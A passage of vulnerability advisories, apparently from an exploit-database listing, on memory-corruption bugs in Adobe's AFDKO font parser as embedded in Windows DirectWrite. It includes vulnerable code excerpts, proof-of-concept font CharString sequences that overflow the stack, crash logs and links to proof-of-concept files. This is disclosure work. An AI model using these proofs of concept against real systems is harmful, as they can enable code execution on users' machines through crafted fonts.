} --- cut --- However, the reverse POP() macro only pops a value from the main stack, and doesn't touch blendCnt/blendArray: --- cut --- 152 #define POP() (h->stack.array[--h->stack.cnt]) --- cut --- This assymetry creates the following problem: there are CFF instructions such as the arithmetic ones, which take values from the top of the stack, use them as factors in some operation, and push the result back. More formally, they pop N values and push back M values, where N != 0, M != 0, N >= M. After executing such an instruction, the stack index is smaller or equal to its previous value. Because of this, the interpreter doesn't need to check for stack overflow (use the CHKOFLOW macro), and instead must only check if there are enough input values on the stack (with CHKUFLOW). Examples of such behavior are shown below: --- cut --- 1616 case tx_abs: 1617 CHKUFLOW(h, 1); 1618 { 1619 float a = POP(); 1620 PUSH((a < 0.0f) ? -a : a); 1621 } 1622 continue; 1623 case tx_add: 1624 CHKUFLOW(h, 2); 1625 { 1626 float b = POP(); 1627 float a = POP(); 1628 PUSH(a + b); 1629 } 1630 continue; --- cut --- However, this approach is only valid if the PUSH/POP operations are fully symmetric. In the current state of the code, the execution of each such instruction increments the blendCnt counter without verifying if it goes out-of-bounds. By executing many such instructions in a variable font, it possible to overflow blendArray[] and corrupt the memory after it, including other fields of the t2cCtx object and further data stored on the thread's native stack. This may eventually lead to arbitrary code execution. -----=====[ Proof of Concept ]=====----- The proof of concept file includes a specially crafted CharString for glyph "A" of the format: --- cut --- 1621139584 134217728 div dup exch exch exch exch exch ... --- cut --- The initial four instructions craft two floats on the stack with a binary representation of 0x41414141. The remaining part of the program is the "exch" instruction repeated 30000 times, which keeps the number of elements on the regular stack at 2 (by just continuously exchanging them), while filling out the t2cCtx.stack.blendArray array with more and more data until it is overflown. -----=====[ Crash logs ]=====----- A 64-bit "tx" utility compiled with AddressSanitizer and a custom patch to insert ASAN redzones in between the t2cCtx structure fields crashes with the following report, when run as ./tx -cff poc.otf: --- cut --- ================================================================= ==158130==ERROR: AddressSanitizer: use-after-poison on address 0x7ffc38744c30 at pc 0x000000682b20 bp 0x7ffc3873e950 sp 0x7ffc3873e948 WRITE of size 4 at 0x7ffc38744c30 thread T0 #0 0x682b1f in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1729:33 #1 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18 #2 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14 #3 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9 #4 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18 #5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #9 0x7fc9e2d372b0 in __libc_start_main #10 0x41e5b9 in _start Address 0x7ffc38744c30 is located in stack of thread T0 at offset 10512 in frame #0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523 This frame has 2 object(s): [32, 757896) 'h' (line 2524) <== Memory access at offset 10512 is inside this variable [758160, 758376) 'Exception' (line 2586) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1729:33 in t2Decode Shadow bytes around the buggy address: 0x1000070e0930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000070e0940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000070e0950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000070e0960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000070e0970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x1000070e0980: 00 00 00 00 00 00[f7]f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000070e0990: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000070e09a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000070e09b0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000070e09c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000070e09d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==158130==ABORTING --- cut --- The same "tx" program compiled without instrumentation crashes when reaching the end of the stack while still trying to write more data to blendArray. The 0x41414141 values written all over the stack can be seen in gdb's corrupted stack trace listing. --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x00000000004603b4 in t2Decode (h=0x7ffffff60188, offset=23552) at ../../../../../source/t2cstr/t2cstr.c:1730 1730 PUSH(a); (gdb) info reg $rax $rsp rax 0x7ffffffff008 140737488351240 rsp 0x7ffffff5fd60 0x7ffffff5fd60 (gdb) p/x $xmm0 $1 = {v4_float = {0xc, 0x0, 0x0, 0x0}, v2_double = {0x0, 0x0}, v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x0 <repeats 12 times>}, v8_int16 = {0x4141, 0x4141, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x41414141, 0x0, 0x0, 0x0}, v2_int64 = {0x41414141, 0x0}, uint128 = 0x00000000000000000000000041414141} (gdb) where #0 0x00000000004603b4 in t2Decode (h=0x7ffffff60188, offset=23552) at ../../../../../source/t2cstr/t2cstr.c:1730 #1 0x000000000045cb26 in t2cParse (offset=1094795585, endOffset=83566, aux=0x41414141, gid=2, cff2=0x41414141, glyph=0x6fd6e8, mem=0x7150b8) at ../../../../../source/t2cstr/t2cstr.c:2591 #2 0x0000000041414141 in ?? () #3 0x00000000007150b8 in ?? () #4 0x0000000041414141 in ?? () #5 0x00007fffffffd620 in ?? () #6 0x0000000041414141 in ?? () #7 0xfffffffffffffffc in ?? () #8 0x0000000041414141 in ?? () #9 0x0000000000474840 in ?? () at ../../../../../source/tx_shared/tx_shared.c:4891 #10 0x0000000041414141 in ?? () (gdb) print h->stack.blendCnt $2 = 40551 --- cut --- The Microsoft Edge renderer process crashes while trying to dereference a partially overwritten h->aux pointer: --- cut --- (51fc.496c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!t2Decode+0x119c: 00007ffb`29e82710 f60080 test byte ptr [rax],80h ds:000001d3`41414141=?? 0:038> k # Child-SP RetAddr Call Site 00 0000006a`3df8b9e0 00007ffb`29e84a62 DWrite!t2Decode+0x119c 01 0000006a`3df8bb20 00007ffb`29e6c103 DWrite!t2cParse+0x28e 02 0000006a`3df9b480 00007ffb`29e6e3f7 DWrite!readGlyph+0x12b 03 0000006a`3df9b4f0 00007ffb`29e62272 DWrite!cfrIterateGlyphs+0x37 04 0000006a`3df9b540 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x19a 05 0000006a`3df9ba40 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212 06 0000006a`3df9bc20 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249 07 0000006a`3df9be40 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192 08 0000006a`3df9c1a0 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 09 0000006a`3df9c230 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 0a 0000006a`3df9c350 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8 0b 0000006a`3df9c3a0 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44 0c 0000006a`3df9c3f0 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0d 0000006a`3df9c420 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 0e 0000006a`3df9c450 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 0f 0000006a`3df9c490 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47092.zip
  19. -----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. -----=====[ Description ]=====----- The afdko/c/public/lib/source/t2cstr/t2cstr.c file in AFDKO implements the Type 2 CharString interpreter for OpenType fonts. The interpreter stack is represented by the following structure in the t2cCtx object: --- cut --- 70 struct /* Operand stack */ 71 { 72 long cnt; 73 float array[CFF2_MAX_OP_STACK]; 74 unsigned short numRegions; 75 long blendCnt; 76 abfOpEntry blendArray[CFF2_MAX_OP_STACK]; 77 abfBlendArg blendArgs[T2_MAX_STEMS]; 78 } stack; --- cut --- Values are popped off the stack in the instruction handlers in t2Decode() using the POP() macro: --- cut --- 152 #define POP() (h->stack.array[--h->stack.cnt]) --- cut --- As the macro assumes that the stack is non-empty, another macro in the form of CHKUFLOW() is required to verify this requirement: --- cut --- 137 /* Check stack contains at least n elements. */ 138 #define CHKUFLOW(h, n) \ 139 do { \ 140 if (h->stack.cnt < (n)) return t2cErrStackUnderflow; \ 141 } while (0) --- cut --- As a result, it is essential for the interpreter's memory safety to invoke CHKUFLOW() with an appropriate "n" argument before using POP() the corresponding number of times. In a majority of cases, the interpreter operates on the stack correctly; however, we have found several instances where the CHKUFLOW() calls are missing. The problems were identified in the handling of the following instructions: - tx_callgrel - tx_rmoveto - tx_vmoveto - tx_hmoveto - tx_SETWVN For example, the handler of the "rmoveto" instruction is shown below: --- cut --- 1484 case tx_rmoveto: 1485 if (callbackWidth(h, 1)) 1486 return t2cSuccess; 1487 { 1488 float y = POP(); 1489 float x = POP(); 1490 if ((h->flags & IS_CFF2) && (h->glyph->moveVF != NULL)) 1491 popBlendArgs2(h, &INDEX_BLEND(0), &INDEX_BLEND(1)); 1492 callbackMove(h, x, y); 1493 } 1494 break; --- cut --- It's clear that the two POP() invocations in lines 1488 and 1489 are not preceded by CHKUFLOW(). Such bugs may have two kinds of security-relevant consequences: 1. Out-of-bounds data is read and used as arguments to the affected instructions, 2. The stack index becomes negative, which could facilitate overwriting memory residing directly before the stack array. In this particular case, the stack counter itself is placed before the stack array. This means that consequence #1 is not really a problem as the out-of-bounds data is initialized and its value is known to the attacker. As for item #2 -- an attack would require the CharString execution loop to continue to the next instruction while preserving the negative value of h->stack.cnt. For the rmoveto, vmoveto and hmoveto instructions, the stack counter is reset back to 0 in line 2303, because their handlers end with a "break;" statement: --- cut --- 2301 } /* End: switch (byte0) */ 2302 clearBlendStack(h); 2303 h->stack.cnt = 0; /* Clear stack */ 2304 } /* End: while (cstr < end) */ --- cut --- This leaves us with callgrel and SETWVN. In both cases, the out-of-bounds argument would have to be valid in the context of those instructions in order for them to not return with an error. Due to the fact that the POP() macro first decrements h->stack.cnt and then reads from h->stack.array[h->stack.cnt], the value read will always be 0xffffffff, interpreted as a float. A 32-bit float with a binary representation of 0xffffffff (which translates to NaN) takes the value of 0x80000000 when cast to an integer. According to our analysis, it is impossible for 0x80000000 to act as a valid subroutine index (in case of callgrel) or number of cube axes (in case of SETWVN). As a result, the handlers will return an error in the following locations before another instruction can execute with the negative stack index: --- cut --- 1298 long num = unbiasLE((long)POP(), h->aux->gsubrs.cnt); 1299 if (num == -1) 1300 return t2cErrCallgsubr; --- cut --- and: --- cut --- 1913 int numAxes = (int)POP(); 1914 result = do_set_weight_vector_cube(h, numAxes); 1915 if (result || !(h->flags & FLATTEN_CUBE)) 1916 return result; --- cut --- In summary, the missing CHKUFLOW() instances currently seem non-exploitable due to coincidental memory layout, conversions between data types and the semantics of the affected instructions. On the other hand, if only one of the above conditions changed in the future, these issues could become trivially exploitable by making it possible to overwrite t2cCtx.stack.cnt with an arbitrary value, thus potentially enabling arbitrary relative reads/writes on the native stack. We therefore recommend fixing the bugs despite the current exploitability assessment. -----=====[ Proof of Concept ]=====----- The proof of concept file contains a CharString for glyph "A" which consists only of one instruction, rmoveto. When the instruction executes, the interpreter stack is empty, so it picks up the arguments from h->stack.array[-1] and h->stack.array[-2], demonstrating the bug. -----=====[ Crash logs ]=====----- It seems impossible to craft a font file which crashes a regular build of the CharString interpreter. However, we have patched the t2cstr.c source code to insert AddressSanitizer redzones in between the various arrays in the t2cCtx structure. A "tx" program compiled with this patch and started with a ./tx -cff poc.otf command crashes with the following report: --- cut --- ================================================================= ==122021==ERROR: AddressSanitizer: use-after-poison on address 0x7fffd5a9364c at pc 0x00000067a35c bp 0x7fffd5a8fc30 sp 0x7fffd5a8fc28 READ of size 4 at 0x7fffd5a9364c thread T0 #0 0x67a35b in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1488:31 #1 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18 #2 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14 #3 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9 #4 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18 #5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #9 0x7f6a599042b0 in __libc_start_main #10 0x41e5b9 in _start Address 0x7fffd5a9364c is located in stack of thread T0 at offset 76 in frame #0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523 This frame has 2 object(s): [32, 757896) 'h' (line 2524) <== Memory access at offset 76 is inside this variable [758160, 758376) 'Exception' (line 2586) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1488:31 in t2Decode Shadow bytes around the buggy address: 0x10007ab4a670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a6a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a6b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x10007ab4a6c0: f1 f1 f1 f1 00 00 f7 f7 f7[f7]00 00 00 00 00 00 0x10007ab4a6d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a6e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a6f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==122021==ABORTING --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47091.zip
  20. -----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. In this specific case, the uninitialized memory used in the vulnerable code originates from the client-provided allocator callback. According to our analysis the callback provided by DirectWrite zeroes out the returned memory by itself, which should reduce the impact of the bug to a NULL pointer dereference. However, in case the implementation of the allocator ever changes in the future, we have opted to report the bug despite its apparent low severity at this time, especially considering that the resulting primitive is the invocation of a function pointer loaded from the uninitialized address. -----=====[ Description ]=====----- The bug resides in the support of variable fonts, and specifically in the loading of the "avar" table. We're interested in the following structures (from source/varread/varread.c): --- cut --- 84 /* avar table */ 85 struct var_avar_; 86 typedef struct var_avar_ *var_avar; 87 [...] 91 92 /* avar table */ 93 94 typedef struct axisValueMap_ { 95 Fixed fromCoord; 96 Fixed toCoord; 97 } axisValueMap; 98 99 typedef dnaDCL(axisValueMap, axisValueMapArray); 100 101 typedef struct segmentMap_ { 102 unsigned short positionMapCount; 103 axisValueMapArray valueMaps; 104 } segmentMap; 105 106 typedef dnaDCL(segmentMap, segmentMapArray); 107 108 struct var_avar_ { 109 unsigned short axisCount; 110 segmentMapArray segmentMaps; 111 }; --- cut --- In other words, an "avar" structure contains a list of segment maps, each of which contains a list of value maps. The object is allocated and initialized in the var_loadavar() function. It is possible to bail out of the parsing in several places in the code: --- cut --- 297 if (table->length < AVAR_TABLE_HEADER_SIZE + (unsigned long)AVAR_SEGMENT_MAP_SIZE * avar->axisCount) { 298 sscb->message(sscb, "invalid avar table size or axis/instance count/size"); 299 goto cleanup; 300 } 301 302 dnaINIT(sscb->dna, avar->segmentMaps, 0, 1); 303 if (dnaSetCnt(&avar->segmentMaps, DNA_ELEM_SIZE_(avar->segmentMaps), avar->axisCount) < 0) 304 goto cleanup; [...] 311 if (table->length < sscb->tell(sscb) - table->offset + AVAR_AXIS_VALUE_MAP_SIZE * seg->positionMapCount) { 312 sscb->message(sscb, "avar axis value map out of bounds"); 313 goto cleanup; 314 } 315 316 dnaINIT(sscb->dna, seg->valueMaps, 0, 1); 317 if (dnaSetCnt(&seg->valueMaps, DNA_ELEM_SIZE_(seg->valueMaps), seg->positionMapCount) < 0) 318 goto cleanup; --- cut --- which leads to freeing the entire "avar" object: --- cut --- 339 cleanup:; 340 HANDLER 341 END_HANDLER 342 343 if (!success) { 344 var_freeavar(sscb, avar); 345 avar = 0; 346 } --- cut --- When a parsing error occurs, the object may be only partially initialized. However, the var_freeavar() function doesn't take it into account and unconditionally attempts to free all value maps lists inside of all segment maps lists: --- cut --- 255 static void var_freeavar(ctlSharedStmCallbacks *sscb, var_avar avar) { 256 if (avar) { 257 unsigned short i; 258 259 for (i = 0; i < avar->axisCount; i++) { 260 dnaFREE(avar->segmentMaps.array[i].valueMaps); 261 } 262 dnaFREE(avar->segmentMaps); 263 264 sscb->memFree(sscb, avar); 265 } 266 } --- cut --- In the code above, the data under avar->segmentMaps.array[i].valueMaps may be uninitialized. The dnaFREE() call translates to (source/dynarr/dynarr.c): --- cut --- 178 /* Free dynamic array object. */ 179 void dnaFreeObj(void *object) { 180 dnaGeneric *da = (dnaGeneric *)object; 181 if (da->size != 0) { 182 dnaCtx h = da->ctx; 183 h->mem.manage(&h->mem, da->array, 0); 184 da->size = 0; 185 } 186 } --- cut --- In line 183, the "h" pointer contains uninitialized bytes. As it is used to fetch a function pointer to call, the condition is a serious security vulnerability. However, it is important to note that the implementation of dynamic arrays in AFDKO relies on an external memory allocator provided by the library user, and so, the feasibility of exploitation may also depend on it. For example, the allocator in Microsoft DirectWrite returns zero-ed out memory, making the bug currently non-exploitable through that attack vector. -----=====[ Proof of Concept ]=====----- The proof of concept file triggers the bug by declaring avar->axisCount as 1 and having seg->positionMapCount set to 0xffff. This causes the following sanity check to fail, leading to a crash while freeing resources: --- cut --- 311 if (table->length < sscb->tell(sscb) - table->offset + AVAR_AXIS_VALUE_MAP_SIZE * seg->positionMapCount) { 312 sscb->message(sscb, "avar axis value map out of bounds"); 313 goto cleanup; 314 } --- cut --- -----=====[ Crash logs ]=====----- A crash log from the "tx" tool (part of AFDKO) compiled with AddressSanitizer, run as ./tx -cff <path to font file>: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x00000000007df58c in dnaFreeObj (object=0x606000000208) at ../../../../../source/dynarr/dynarr.c:183 183 h->mem.manage(&h->mem, da->array, 0); (gdb) where #0 0x00000000007df58c in dnaFreeObj (object=0x606000000208) at ../../../../../source/dynarr/dynarr.c:183 #1 0x00000000007e399a in var_freeavar (sscb=0x62a000004fa8, avar=0x6060000001a0) at ../../../../../source/varread/varread.c:260 #2 0x00000000007e37be in var_loadavar (sfr=0x614000000240, sscb=0x62a000004fa8) at ../../../../../source/varread/varread.c:344 #3 0x00000000007dfb5d in var_loadaxes (sfr=0x614000000240, sscb=0x62a000004fa8) at ../../../../../source/varread/varread.c:484 #4 0x0000000000527f74 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0) at ../../../../../source/cffread/cffread.c:2681 #5 0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137 #6 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf1f "poc.otf") at ../../../../source/tx.c:429 #7 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf1f "poc.otf") at ../../../../source/tx.c:488 #8 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:558 #9 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:1631 (gdb) print h $1 = (dnaCtx) 0xbebebebebebebebe (gdb) --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47090.zip
  21. -----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. In this specific case, setting the CFR_FLATTEN_CUBE flag while interacting with AFDKO is required to trigger the bug. According to our analysis, DirectWrite currently doesn't specify this flag, but it still contains the do_set_weight_vector_cube() function including the vulnerable code. In case the code can be reached in a way we haven't considered, or the CFR_FLATTEN_CUBE flag is ever added in the future, we have opted to report the bug despite its apparent unreachability at this time. -----=====[ Description ]=====----- The bug resides in the do_set_weight_vector_cube() function in afdko/c/public/lib/source/t2cstr/t2cstr.c, with the following definition: --- cut --- 985 static int do_set_weight_vector_cube(t2cCtx h, int nAxes) { --- cut --- The nAxes parameter can be controlled through the tx_SETWVN instruction: --- cut --- 1912 case tx_SETWVN: { 1913 int numAxes = (int)POP(); 1914 result = do_set_weight_vector_cube(h, numAxes); 1915 if (result || !(h->flags & FLATTEN_CUBE)) 1916 return result; --- cut --- The assumption is that the number of axes specified by the fon't won't be greater than 9, as specified by the kMaxCubeAxes constant in afdko/c/public/lib/resource/txops.h: --- cut --- 194 #define kMaxCubeAxes 9 --- cut --- However this assumption is never explicitly verified in do_set_weight_vector_cube(). As a result, if the FLATTEN_CUBE flag is set in h->flags, the following code will be executed: --- cut --- 989 int nMasters = 1 << nAxes; 990 float NDV[kMaxCubeAxes]; [...] 1035 while (i < nAxes) { 1036 NDV[i] = (float)((100 + (long)composeOps[3 + i]) / 200.0); 1037 i++; 1038 } 1039 1040 /* Compute Weight Vector */ 1041 for (i = 0; i < nMasters; i++) { 1042 h->cube[h->cubeStackDepth].WV[i] = 1; 1043 for (j = 0; j < nAxes; j++) 1044 h->cube[h->cubeStackDepth].WV[i] *= (i & 1 << j) ? NDV[j] : 1 - NDV[j]; 1045 } --- cut --- If nAxes larger than 9 is specified, the local NDV[] buffer will be overflown in line 1036, followed by another buffer overflow in lines 1042 and 1044, as the WV[] array only consists of 2**9 elements, but the loops will try to write 2**10 or a larger power of 2 of values. According to our observations, one of the biggest clients of AFDKO, Microsoft DirectWrite, doesn't set the CFR_FLATTEN_CUBE flag while interacting with the library, and is therefore not affected by the vulnerability (because it follows a different path to compose_callback). In the standard "tx" tool, the flag can be toggled on with the "-cubef" argument: --- cut --- -cubef flattens Cube source to a normal Type 1 font. Can be used with all output formats --- cut --- -----=====[ Proof of Concept ]=====----- The proof of concept file triggers the bug by using the tx_SETWVN instruction to call do_set_weight_vector_cube(nAxes=16) in the CharString of the "A" glyph. -----=====[ Crash logs ]=====----- A crash log from the 